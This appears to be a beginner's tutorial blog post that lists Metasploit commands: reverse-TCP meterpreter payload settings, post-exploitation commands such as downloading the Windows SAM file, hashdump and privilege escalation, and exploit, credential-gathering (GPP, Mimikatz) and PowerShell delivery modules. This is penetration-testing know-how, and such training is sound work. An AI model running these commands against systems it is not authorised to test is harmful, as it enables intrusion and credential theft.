Metasploit framework is one of the most advanced and one of the favorite tool for pen testers and security researchers. It was developed by the H.D. Moore in Perl language which later in 2007 was revised in Ruby completely. With it’s high success and demand in security researchers and pen-testers, in 2009, MetaSploit was acquired by the Rapid7 a well known security researcher company. Learn most commonly used metasploit commands in this metasploit for beginners guide.
Metasploit is a complete tools suite for penetration testers and hackers as it’s pre-packaged with all the pen-testing tools for hacking into a remote machine and web applications. It’s one of the most advanced tool for hackers and reseachers. MetaSploit is a very large framework that each of it’s module have tons of actions one can perform. To make it easier for new users, we have listed some of the most commonly used metasploit commands meterpreter payloads you can practice and perform.
MetaSploit for Beginners
There’s three types of Metasploit commands.
- Basic commands (These are the very basic operation commands like search, help, info and exit.)
- Exploit commands (Exploit commands are the ones used to check out all the exploit options, payloads and targets.)
- Exploit execution commands (These are post exploit commands that exploits and execute different operations on a target machine.)
Related: Kali Linux for Android
All the most commonly used and Metasploit Basic, Exploit and Exploit Execuation commands for beginners to learn are:
- First of all, to update the Metasploit framework to it’s latest version. Execute the following command.
apt update; apt install metasploit-framework
- To check out all the msfconsole and metasploit options, use the following help command.
- Metasploit search command is used to search for exploits and vulnerabilities from msfconsole.
- To see a list of all the payload options to attack a target machine.
- The following command is used to check and set listening IP and PORT of the HOST machine to set a static IP and port forwarding to any specified port.
- To check out the list all the payloads for an exploit.
- To find all the vulnerable operating systems to a specified exploit.
- To show advanced options and commands for exploit.
- Show encoders command returns all the encoders. Encoders used for evading simple IDS/IPS signatures that are looking for certain bytes of your payload.
- This command will give a list of Nop generators. It is used to change the pattern of a NOP sled in order to bypass simple IDS/IPS signatures of common NOP.
MetaSploit Command & Meterpreter Payloads
Windows Reverse Meterpreter Payload
|set payload windows/meterpreter/reverse_tcp||Used for Reverse TCP Windows Payload|
Android Reverse Meterpreter Payload
|set payload android/meterpreter/reverse_tcp||Used for Reverse TCP Android Payload|
Windows VNC Meterpreter Payload
|set payload windows/vncinject/reverse_tcpset ViewOnly false||Used for Reverse TCP Windows VNC Payload|
Linux Reverse Meterpreter Payload
|set payload linux/meterpreter/reverse_tcp||Used for Reverse TCP Linux Payload|
Check out the most useful and commonly used meterpreter commands.
|upload file c:\\windows||Meterpreter command for uploading file to a Windows OS target machine.|
|download c:\\windows\\repair\\sam /tmp||Meterpreter command for downloading file from a Windows OS target device.|
|execute -f c:\\windows\temp\exploit.exe||To execute exploits on a remote victim machine.|
|execute -f cmd -c||To create a new channel with cmd shell.|
|ps||Shows all the Meterpreter processes.|
|shell||Meterpreter get shell on the target.|
|getsystem||This meterpreter command attempts the priviledge escalation on the target device.|
|hashdump||It is used to dump hashes on the target system.|
|portfwd add –l 3389 –p 3389 –r target||Meterpreter command for port forwarding to victim machine.|
|portfwd delete –l 3389 –p 3389 –r target||Meterpreter removes port forwarding.|
Explore all of the most commonly used metasploit exploits.
Remote Windows MetaSploit Exploits
All the exploits for attacking a WindowsOS machines remotely.
|use exploit/windows/smb/ms08_067_netapi||Remote Exploit for the machines with Windows versions MS08_067 Windows 2k, XP, 2003|
|use exploit/windows/dcerpc/ms06_040_netapi||Remote Exploit for the machines with Windows versions MS08_040 Windows NT, 2k, XP, 2003|
|Remote Exploit for the machines with Windows versions MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86)|
Post Exploit Windows Metasploit Modules
|run post/windows/gather/win_privs||Metasploit command to show all the privileges and permissions of the current user.|
|use post/windows/gather/credentials/gpp||This Metasploit command grabs all GPP saved passwords.|
|load mimikatz -> wdigest||Metasplit loads Mimikatz.|
|run post/windows/gather/local_admin_search_enum||Searches all machines with administrative access.|
Local Windows MetaSploit Exploits
Exploits to work with a local machine.
|use exploit/windows/local/bypassuac||Used for UAC (User Account Control) Bypass on Windows 7 systems.|
Auxilary MetaSploit Modules
|use auxiliary/scanner/http/dir_scanner||Metasploit scanner tool used to scan HTTP directory.|
|use auxiliary/scanner/http/jboss_vulnscan||Metasploit JBOSS used for vulnerability scanning.|
|use auxiliary/scanner/mssql/mssql_login||Metasploit Credential Scanner tool used for MSSQL.|
|use auxiliary/scanner/oracle/oracle_login||Metasploit scanner used for Oracle Login Module.|
Metasploit Powershell Exploits
|use exploit/multi/script/web_delivery||Metasploit shell payload delivery exploit.|
|post/windows/manage/powershell/exec_powershell||Uploads the shell to target and run powershell.|
|use exploit/multi/http/jboss_maindeployer||Metasploit JBOSS deploy.|
|use exploit/windows/mssql/mssql_payload||Metasploit MSSQL payload.|